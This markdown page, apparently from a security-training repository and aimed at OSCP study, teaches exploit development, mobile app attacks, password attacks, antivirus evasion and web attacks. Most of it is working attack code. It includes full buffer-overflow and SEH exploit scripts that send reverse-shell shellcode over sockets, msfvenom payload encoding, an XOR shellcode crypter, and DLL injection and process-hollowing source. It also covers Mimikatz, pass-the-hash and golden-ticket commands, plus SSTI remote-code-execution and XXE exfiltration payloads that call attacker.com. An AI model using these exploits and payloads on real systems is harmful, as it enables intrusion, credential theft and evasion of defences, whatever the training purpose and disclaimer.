Repository navigation
Advanced Cybersecurity Techniques Part 2
Caution
Authorized use only. The techniques below are for authorized security testing, education, and defensive research. Using them against systems you do not own or lack explicit written permission to test is illegal. See LEGAL.md.
Compiled from: Penetration Testing (Georgia Weidman), Metasploit 2E, and many other professional security resources
- Exploit Development Fundamentals
- Buffer Overflow Exploitation
- Structured Exception Handler (SEH) Overwrites
- Mobile Device Penetration Testing
- Advanced Password Attacks
- Antivirus Evasion Techniques
- Advanced Web Application Attacks
"Advanced Techniques - Part 2": low-level exploit development content (memory layout, buffer overflows, SEH overwrites, mobile pentesting, AV evasion) sourced from Georgia Weidman's Penetration Testing and Metasploit 2E - the OSCP-critical material the core master guides don't cover at this depth.
7 sections progressing from exploit-dev fundamentals (memory/registers) through buffer overflows, SEH overwrites, mobile pentesting, advanced password attacks, AV evasion, and advanced web app attacks. Differs from advanced_techniques_supplement.md (Part 1), which is tooling/automation-focused (Metasploit scripting, cloud, IoT) rather than low-level exploit-development-focused.
A reader can write a working buffer-overflow exploit from scratch (bad-char analysis through EIP control through shellcode execution) using only this file - the single most OSCP-critical skill this repository documents.
When developing a custom exploit, studying buffer overflows for OSCP, or needing SEH-overwrite/mobile-pentest/AV-evasion technique detail beyond the core master guide.
High Memory Address
โโโ Environment Variables
โโโ Command Line Arguments
โโโ Stack Frame N (Current)
โ โโโ Local Variables
โ โโโ Saved EBP (Base Pointer)
โ โโโ Return Address
โ โโโ Function Arguments
โโโ Stack Frame N-1
โโโ Stack Frame N-2
Low Memory Address (ESP points here)
General Purpose Registers:
- EAX - Accumulator (arithmetic operations, return values)
- EBX - Base register (base pointer for memory access)
- ECX - Counter (loop operations)
- EDX - Data register (I/O operations, multiplication/division)
Index Registers:
- ESI - Source Index (string/memory operations)
- EDI - Destination Index (string/memory operations)
Pointer Registers:
- ESP - Stack Pointer (points to top of stack)
- EBP - Base Pointer (points to base of stack frame)
- EIP - Instruction Pointer (points to next instruction to execute)
Segment Registers:
- CS - Code Segment
- DS - Data Segment
- SS - Stack Segment
- ES, FS, GS - Extra Segments
; Data Movement
MOV dest, src ; Copy src to dest
PUSH value ; Push value onto stack
POP dest ; Pop value from stack into dest
LEA dest, src ; Load effective address
; Arithmetic
ADD dest, src ; dest = dest + src
SUB dest, src ; dest = dest - src
INC dest ; dest = dest + 1
DEC dest ; dest = dest - 1
MUL src ; EAX = EAX * src
DIV src ; Divide EAX by src
; Logical
AND dest, src ; Bitwise AND
OR dest, src ; Bitwise OR
XOR dest, src ; Bitwise XOR (often used to zero registers)
NOT dest ; Bitwise NOT
; Control Flow
JMP addr ; Unconditional jump
CALL addr ; Call function
RET ; Return from function
CMP op1, op2 ; Compare operands (sets flags)
JE/JZ addr ; Jump if equal/zero
JNE/JNZ addr ; Jump if not equal/not zero
JG/JGE addr ; Jump if greater/greater or equal
JL/JLE addr ; Jump if less/less or equal
; Stack Frame Setup
PUSH EBP ; Save old base pointer
MOV EBP, ESP ; Set new base pointer
SUB ESP, 0x10 ; Allocate local variables
; ... function body ...
MOV ESP, EBP ; Restore stack pointer
POP EBP ; Restore old base pointer
RET ; Return// vuln.c
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // Vulnerable: no bounds checking
printf("Input: %s\n", buffer);
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
return 0;
}
// Compile without protections:
// gcc -o vuln vuln.c -fno-stack-protector -z execstack -m32Step 1: Crash the Application
# Generate pattern to find offset
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
# Run with pattern
./vuln "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
# Check crash with gdb
gdb ./vuln
run "Aa0Aa1Aa2..."
# Note EIP valueStep 2: Calculate Offset
# Find offset to EIP
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41326341
# Output: [*] Exact match at offset 76Step 3: Verify Control of EIP
#!/usr/bin/env python3
import struct
offset = 76
eip = struct.pack("<I", 0x42424242) # "BBBB" in little-endian
payload = b"A" * offset + eip
print(payload)./vuln $(python3 exploit.py)
# In gdb, EIP should be 0x42424242Step 4: Find JMP ESP
# Using objdump
objdump -d vuln | grep "jmp.*esp"
# Or use msf-nasm_shell
msf-nasm_shell
nasm > jmp esp
# Output: 00000000 FFE4 jmp esp
# Search for FFE4 in binary
objdump -d vuln | grep "ff e4"Step 5: Generate Shellcode
# Generate reverse shell shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b "\x00\x0a\x0d" -f python
# Output will be in format:
buf = b""
buf += b"\xda\xc1\xba\x9e\x6a\x17..."Step 6: Complete Exploit
#!/usr/bin/env python3
import struct
# Configuration
offset = 76
jmp_esp = 0x080484a3 # Address of JMP ESP instruction
nops = b"\x90" * 16 # NOP sled
# Shellcode (msfvenom generated)
shellcode = b""
shellcode += b"\xda\xc1\xba\x9e\x6a\x17\x86\xd9\x74\x24\xf4\x5e\x29"
shellcode += b"\xc9\xb1\x12\x83\xee\xfc\x31\x56\x13\x03\x7a\xa9\x5d"
# ... (full shellcode)
# Build payload
payload = b"A" * offset
payload += struct.pack("<I", jmp_esp)
payload += nops
payload += shellcode
print(payload.decode('latin-1'))- DLL-based Architecture - Find JMP ESP in system DLLs
-
Bad Characters - More restrictive (often
\x00\x0a\x0d\x20) - Memory Protections - DEP, ASLR (discussed later)
- Calling Conventions - STDCALL vs CDECL
#!/usr/bin/env python3
# Using Immunity Debugger with mona.py
# In Immunity Debugger command line:
!mona modules
# Look for modules with:
# - No ASLR
# - No SafeSEH
# - No DEP
# - Executable permissions
# Find JMP ESP
!mona find -s "\xff\xe4" -m kernel32.dll
# Exclude bad characters
!mona find -s "\xff\xe4" -m kernel32.dll -cpb "\x00\x0a\x0d"#!/usr/bin/env python3
import socket
import struct
target_ip = "192.168.1.100"
target_port = 9999
# Offset to EIP
offset = 2006
# JMP ESP address (from mona)
jmp_esp = 0x625011AF # kernel32.dll
# NOP sled
nops = b"\x90" * 16
# Shellcode (windows/shell_reverse_tcp)
shellcode = (
b"\xdb\xc0\xd9\x74\x24\xf4\x5d\x29\xc9\xb1\x52\xbe\x9b\x40"
b"\xf0\x86\x31\x75\x17\x83\xc5\x04\x03\xdd\xb5\xb3\x79\x21"
# ... (full shellcode)
)
# Build exploit
exploit = b"A" * offset
exploit += struct.pack("<I", jmp_esp)
exploit += nops
exploit += shellcode
# Send exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(exploit)
s.close()#!/usr/bin/env python3
import socket
target_ip = "192.168.1.100"
target_port = 9999
# Generate all possible bytes
badchars = bytearray([
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
# ... continue through 0xff
])
# Known bad characters (usually 0x00)
known_bad = [0x00]
# Remove known bad characters
for bad in known_bad:
if bad in badchars:
badchars.remove(bad)
offset = 2006
eip = b"B" * 4
payload = b"A" * offset + eip + bytes(badchars)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
s.close()
# In debugger, follow ESP in dump
# Check for missing/mangled charactersException Registration Record:
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Next SEH Record (4B) โ โ Pointer to next SEH in chain
โโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ SEH Handler (4B) โ โ Pointer to exception handler
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
Step 1: Trigger Exception
- Overflow buffer past SEH record
- Cause access violation
- SEH chain is processed
Step 2: Control SEH Record
# Typical SEH overwrite structure
buffer = "A" * offset_to_seh
buffer += "B" * 4 # nSEH (Next SEH) - we'll use this
buffer += "C" * 4 # SEH Handler - overwrite with POP POP RET
buffer += "D" * remainingStep 3: Find POP POP RET
# Using mona in Immunity Debugger
!mona seh
# Find POP POP RET without SafeSEH
# Example output:
# 0x625011AF : pop edi # pop ebx # ret | {PAGE_EXECUTE_READ} [module.dll]
# SafeSEH: False, ASLR: False
# Exclude bad characters
!mona seh -cpb "\x00\x0a\x0d"Step 4: Short Jump The nSEH (Next SEH) field needs to contain a short jump to skip over the SEH handler:
; Short jump forward 6 bytes
EB 06 90 90
; In bytes:
nSEH = "\xeb\x06\x90\x90"Step 5: Complete SEH Exploit
#!/usr/bin/env python3
import socket
import struct
target_ip = "192.168.1.100"
target_port = 21
# Offsets
offset_to_nseh = 569
pop_pop_ret = 0x5F4580CA # From mona seh
# Short jump (JMP 6 bytes forward)
nseh = b"\xeb\x06\x90\x90"
# POP POP RET address
seh = struct.pack("<I", pop_pop_ret)
# NOP sled
nops = b"\x90" * 16
# Shellcode
shellcode = (
b"\xda\xd8\xbb\x9c\x32\xeb\x67\xd9\x74\x24\xf4\x5a\x2b\xc9"
# ... (full shellcode)
)
# Build payload
payload = b"A" * offset_to_nseh
payload += nseh
payload += seh
payload += nops
payload += shellcode
# Send to FTP server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(b'USER ' + payload + b'\r\n')
s.close()Techniques:
- Use modules without SafeSEH protection
- Use ROP (Return-Oriented Programming)
- Target older systems without SafeSEH
- Use executable memory pages from non-SafeSEH modules
# Check module protections with mona
!mona modules
# Look for:
# SafeSEH: False
# ASLR: False
# DEP: FalseNote
Related: the dedicated mobile section โ including device-specific SOPs โ is Mobile/. This section covers the penetration-testing techniques.
Step 1: Decompile APK
# Install apktool
apt-get install apktool
# Decompile APK
apktool d application.apk -o output_dir
# Directory structure:
# output_dir/
# โโโ AndroidManifest.xml
# โโโ smali/ (Dalvik bytecode)
# โโโ res/ (Resources)
# โโโ assets/
# Convert to Java (using jadx)
jadx application.apk -d java_outputStep 2: Analyze AndroidManifest.xml
<!-- Look for security issues -->
<!-- 1. Exported components without permissions -->
<activity android:name=".SecretActivity"
android:exported="true"/> <!-- Vulnerable! -->
<!-- 2. Debug mode enabled -->
<application android:debuggable="true"> <!-- Vulnerable! -->
<!-- 3. Backup allowed -->
<application android:allowBackup="true"> <!-- May expose data -->
<!-- 4. Network security -->
<application android:usesCleartextTraffic="true"> <!-- Insecure -->
<!-- 5. Dangerous permissions -->
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>Step 3: Static Code Analysis
# Search for hardcoded secrets
grep -r "password\|api_key\|secret\|token" output_dir/smali/
# Find SQL injection vulnerabilities
grep -r "rawQuery\|execSQL" output_dir/smali/
# Find insecure crypto
grep -r "DES\|MD5\|SHA1" output_dir/smali/
# Find insecure storage
grep -r "SharedPreferences\|SQLite" output_dir/smali/
# Using MobSF (Mobile Security Framework)
# Web-based analysis
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Upload APK for automated analysisSetup Frida
# Install Frida on host
pip install frida-tools
# Push Frida server to Android device
adb root
adb push frida-server-16.0.0-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.0.0-android-arm64"
adb shell "/data/local/tmp/frida-server-16.0.0-android-arm64 &"
# List running apps
frida-ps -UBypass SSL Pinning
// bypass_ssl.js
Java.perform(function() {
// Hook OkHttp3
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(str, list) {
console.log('[+] Bypassing SSL Pinning for: ' + str);
return;
};
// Hook TrustManager
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');
var TrustManager = Java.registerClass({
name: 'com.sensepost.test.TrustManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted: function(chain, authType) {},
checkServerTrusted: function(chain, authType) {},
getAcceptedIssuers: function() { return []; }
}
});
var TrustManagers = [TrustManager.$new()];
var SSLContext_init = SSLContext.init.overload(
'[Ljavax.net.ssl.KeyManager;',
'[Ljavax.net.ssl.TrustManager;',
'java.security.SecureRandom'
);
SSLContext_init.implementation = function(keyManager, trustManager, secureRandom) {
console.log('[+] Bypassing SSL pinning');
SSLContext_init.call(this, keyManager, TrustManagers, secureRandom);
};
});
// Run: frida -U -f com.example.app -l bypass_ssl.jsHook Functions
// hook_login.js
Java.perform(function() {
var LoginActivity = Java.use('com.example.app.LoginActivity');
LoginActivity.checkPassword.implementation = function(password) {
console.log('[+] Password entered: ' + password);
// Always return true
return true;
};
console.log('[*] Login bypass hooked');
});Dump Method Arguments
// dump_args.js
Java.perform(function() {
var targetClass = Java.use('com.example.app.CryptoClass');
targetClass.encrypt.overload('java.lang.String', 'java.lang.String').implementation = function(data, key) {
console.log('[+] encrypt() called');
console.log('[+] Data: ' + data);
console.log('[+] Key: ' + key);
// Call original method
var result = this.encrypt(data, key);
console.log('[+] Result: ' + result);
return result;
};
});1. Insecure Data Storage
# Access app's data directory
adb shell
cd /data/data/com.example.app/
# Check SharedPreferences
cat shared_prefs/*.xml
# Check databases
cd databases/
sqlite3 database.db
.tables
.dump
# Check for cached credentials
grep -r "password" .2. Exported Components Exploitation
# List exported components
adb shell dumpsys package com.example.app | grep "android:exported"
# Launch exported activity
adb shell am start -n com.example.app/.SecretActivity
# Send intent to exported receiver
adb shell am broadcast -a com.example.app.SECRET_ACTION
# Access exported content provider
adb shell content query --uri content://com.example.app.provider/secrets3. Deep Link Exploitation
<!-- Vulnerable deep link in AndroidManifest.xml -->
<intent-filter>
<data android:scheme="myapp"
android:host="reset"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter># Exploit via ADB
adb shell am start -W -a android.intent.action.VIEW -d "myapp://reset?user=admin&token=123"
# Exploit via malicious app
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("myapp://reset?user=admin&token=123"));
startActivity(intent);Setup
# Jailbroken device required
# Install SSH
# Install Frida
# Install tools: Cycript, class-dump-z, Clutch
# SSH to device
ssh root@iphone_ip
# Default password: alpineDecrypt IPA
# Using Clutch
clutch -i # List installed apps
clutch -d com.example.app # Decrypt app
# Using frida-ios-dump
python dump.py com.example.appStatic Analysis
# Extract IPA
unzip application.ipa
# Analyze binary
otool -L Payload/App.app/App
class-dump-z Payload/App.app/App > headers.txt
# Find strings
strings Payload/App.app/App | grep -i "password\|api\|secret"Runtime Analysis with Frida
// ios_hook.js
if (ObjC.available) {
var LoginController = ObjC.classes.LoginViewController;
// Hook Objective-C method
Interceptor.attach(LoginController['- authenticateUser:password:'].implementation, {
onEnter: function(args) {
console.log('[+] authenticateUser called');
console.log('[+] User: ' + ObjC.Object(args[2]).toString());
console.log('[+] Pass: ' + ObjC.Object(args[3]).toString());
},
onLeave: function(retval) {
console.log('[+] Return value: ' + retval);
// Force return true
retval.replace(1);
}
});
} else {
console.log('Objective-C Runtime not available');
}Keychain Dumping
# Using Keychain-Dumper
keychain_dumper > keychain.txt
# Manual keychain query
security find-generic-password -ga "AppName"- Precomputed hash tables
- Trade time for space
- Chain reduction functions
- Covers large keyspace efficiently
Using RainbowCrack
# Generate rainbow table
rtgen md5 loweralpha 1 7 0 3800 33554432 0
# Sort table
rtsort *.rt
# Crack hashes
rcrack . -h 5f4dcc3b5aa765d61d8327deb882cf99# Using Metasploit
use post/windows/gather/hashdump
set SESSION 1
run
# Using Mimikatz
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
# Format:
# username:RID:LM_hash:NTLM_hash:::
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::use exploit/windows/smb/psexec
set RHOST 192.168.1.100
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
exploit# Single target
crackmapexec smb 192.168.1.100 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# Network range
crackmapexec smb 192.168.1.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth
# Execute command
crackmapexec smb 192.168.1.100 -u Administrator -H hash -x "whoami"
# Dump SAM
crackmapexec smb 192.168.1.100 -u Administrator -H hash --sam# Using Impacket
GetNPUsers.py domain.com/ -usersfile users.txt -dc-ip 10.10.10.10
# Crack with Hashcat
hashcat -m 18200 asrep_hashes.txt rockyou.txt# Request service tickets
GetUserSPNs.py domain.com/user:password -dc-ip 10.10.10.10 -request
# Crack with Hashcat
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt
# Using Rubeus (on Windows)
Rubeus.exe kerberoast /outfile:hashes.txt# Requirements:
# - KRBTGT hash
# - Domain SID
# - Domain name
# Using Mimikatz
kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ptt
# Using Impacket
ticketer.py -nthash hash -domain-sid S-1-5-21-... -domain domain.com Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py domain.com/Administrator@target -k -no-passDetection Methods:
- Signature-based - Pattern matching against known malware
- Heuristic - Behavioral analysis
- Sandboxing - Execute in isolated environment
- Machine Learning - AI-based detection
# Single encoder
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o payload.exe
# Multiple iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe
# List available encoders
msfvenom -l encoders#!/usr/bin/env python3
def xor_encrypt(data, key):
"""XOR encrypt/decrypt data with key"""
encrypted = bytearray()
key_len = len(key)
for i, byte in enumerate(data):
encrypted.append(byte ^ key[i % key_len])
return bytes(encrypted)
# Original shellcode
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8..."
# Encryption key
key = b"MySecretKey123"
# Encrypt
encrypted = xor_encrypt(shellcode, key)
# Generate C code
print("unsigned char encrypted[] = {")
for i in range(0, len(encrypted), 16):
chunk = encrypted[i:i+16]
hex_str = ", ".join(f"0x{b:02x}" for b in chunk)
print(f" {hex_str},")
print("};")
# Decryption stub
print("\n// Decryption in C:")
print("unsigned char key[] = \"MySecretKey123\";")
print("for (int i = 0; i < sizeof(encrypted); i++) {")
print(" encrypted[i] ^= key[i % sizeof(key) - 1];")
print("}")
print("((void(*)())encrypted)(); // Execute")// injector.c
#include <windows.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
if (argc != 3) {
printf("Usage: %s <PID> <DLL_PATH>\n", argv[0]);
return 1;
}
DWORD pid = atoi(argv[1]);
char *dll_path = argv[2];
// Open target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
printf("[-] Failed to open process\n");
return 1;
}
// Allocate memory in target process
LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, strlen(dll_path) + 1,
MEM_COMMIT, PAGE_READWRITE);
// Write DLL path to target process
WriteProcessMemory(hProcess, pRemoteBuf, dll_path, strlen(dll_path) + 1, NULL);
// Get address of LoadLibraryA
LPVOID pLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),
"LoadLibraryA");
// Create remote thread to load DLL
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLibrary,
pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
printf("[+] DLL injected successfully\n");
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}// process_hollowing.c
#include <windows.h>
int main() {
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
// Create process in suspended state
CreateProcess("C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Get base address of target
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// Unmap original executable
ZwUnmapViewOfSection(pi.hProcess, (PVOID)ctx.Ebx + 8);
// Allocate memory for our payload
LPVOID pImageBase = VirtualAllocEx(pi.hProcess, NULL, payload_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// Write payload
WriteProcessMemory(pi.hProcess, pImageBase, payload, payload_size, NULL);
// Update entry point
ctx.Eax = (DWORD)pImageBase + entry_point_offset;
SetThreadContext(pi.hThread, &ctx);
// Resume thread
ResumeThread(pi.hThread);
return 0;
}# Obfuscate strings to avoid signature detection
def obfuscate_string(s):
"""Base64 + XOR obfuscation"""
import base64
key = 0x42
encoded = base64.b64encode(bytes([c ^ key for c in s.encode()])).decode()
return encoded
def deobfuscate_string(s):
"""Reverse obfuscation"""
import base64
key = 0x42
decoded = bytes([c ^ key for c in base64.b64decode(s)])
return decoded.decode()
# Usage in exploit
api_call = deobfuscate_string("Gx4bHRsd") # "VirtualAlloc"Note
Canonical reference: for OWASP Top 10 and full methodology see the dedicated WebAppSecurity/ section. This covers advanced attacks.
# Test payloads for various template engines
payloads = {
"Jinja2": "{{7*7}}", # Python
"Twig": "{{7*7}}", # PHP
"Freemarker": "${7*7}", # Java
"Velocity": "#set($x=7*7)$x", # Java
"Smarty": "{7*7}", # PHP
}
# Expected output: 49Jinja2 (Python)
# Remote Code Execution
{{ ''.__class__.__mro__[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }}
# Simplified RCE
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# Read file
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}Twig (PHP)
# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# File read
{{'/etc/passwd'|file_excerpt(1,30)}}<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root><?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root></root><!-- evil.dtd on attacker server -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;// Vulnerable query
db.users.find({username: req.body.username, password: req.body.password})
// Bypass authentication
// POST data: username[$ne]=admin&password[$ne]=admin
// Translates to: {username: {$ne: "admin"}, password: {$ne: "admin"}}
// Extract data
username[$regex]=^admin&password[$ne]=wrong
// Brute force password character by character
username=admin&password[$regex]=^a
username=admin&password[$regex]=^ad
username=admin&password[$regex]=^admquery IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
name
fields {
name
type {
name
kind
}
}
}
}
}# Vulnerable - no authorization check
query {
user(id: "1") {
name
email
ssn
}
}
# Try accessing other users
query {
user(id: "2") {
name
email
ssn
}
}# Send multiple queries
query {
user1: user(id: "1") { name }
user2: user(id: "2") { name }
user3: user(id: "3") { name }
# ... up to thousands
}// vuln.c - Compile and exploit
#include <stdio.h>
#include <string.h>
void win() {
printf("You win!\n");
system("/bin/sh");
}
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
printf("win() address: %p\n", win);
vulnerable(argv[1]);
return 0;
}
// Compile: gcc -o vuln vuln.c -fno-stack-protector -z execstack -m32
// Exploit: ./vuln $(python -c 'print "A"*76 + "\x??\x??\x??\x??"')// format.c
#include <stdio.h>
int main(int argc, char **argv) {
if (argc != 2) return 1;
printf(argv[1]); // Vulnerable!
printf("\n");
return 0;
}
// Compile: gcc -o format format.c -fno-stack-protector -m32
// Exploits:
// Read stack: ./format "%x.%x.%x.%x"
// Read arbitrary memory: ./format "%s" (with address on stack)
// Write arbitrary memory: ./format "%n"- Metasploit Framework - Exploitation framework
- Burp Suite - Web application testing
- Immunity Debugger - Windows debugging
- GDB with PEDA/GEF - Linux debugging
- Frida - Dynamic instrumentation
- Ghidra/IDA Pro - Reverse engineering
- Wireshark - Network analysis
- Exploit Database - https://www.exploit-db.com
- Phrack Magazine - https://phrack.org
- Corelan Team - Exploit development tutorials
- FuzzySecurity - Windows exploit tutorials
- LiveOverflow - YouTube channel
- OWASP - Web security resources
- HackTheBox - Penetration testing labs
- TryHackMe - Guided learning
- VulnHub - Vulnerable VMs
- OverTheWire - Wargames
- ROP Emporium - ROP challenges
This concludes Part 2 of the Advanced Cybersecurity Techniques guide. Continue building your skills through practice and staying current with the latest attack techniques and defenses.
- README.md - Repo index
- advanced_techniques_supplement.md - Part 1: Metasploit, cloud, lateral movement
- ultimate_cybersecurity_master_guide.md - Foundational context
- Tradecraft/av-edr-evasion.md - Using custom payloads for AV/EDR evasion
โฌ ๏ธ Back to Master Index | ๐ฏ Role Navigation | Legal Notice
๐ Source: advanced_techniques_part2.md | โ๏ธ Suggest an edit | โฌ
๏ธ Back to Master Guides & Repository Reference
- ๐บ๏ธ Browse by Topic
- ๐ All Repository Files
- ๐งญ Learning Paths
- ๐ Master Guide
- ๐ค Glossary
- โ๏ธ Legal & Disclaimer
๐ Foundations & Learning
๐ก๏ธ Defense & Investigations
- Incident Response
- Open Source Intelligence (OSINT)
- Reverse Engineering
- Operations Security (OPSEC)
- Compliance
โ๏ธ Platforms & Infrastructure
๐ก Hardware, Wireless & Field Projects
- PNWC Cyberdeck
- Hardware Testing
- Hardware Hacking
- Software-Defined Radio
- Wardriving
- uConsole
- Space Security
๐งฐ Assessment & Field Reference
๐ฆ Downloads & Project Resources
๐๏ธ Additional Topics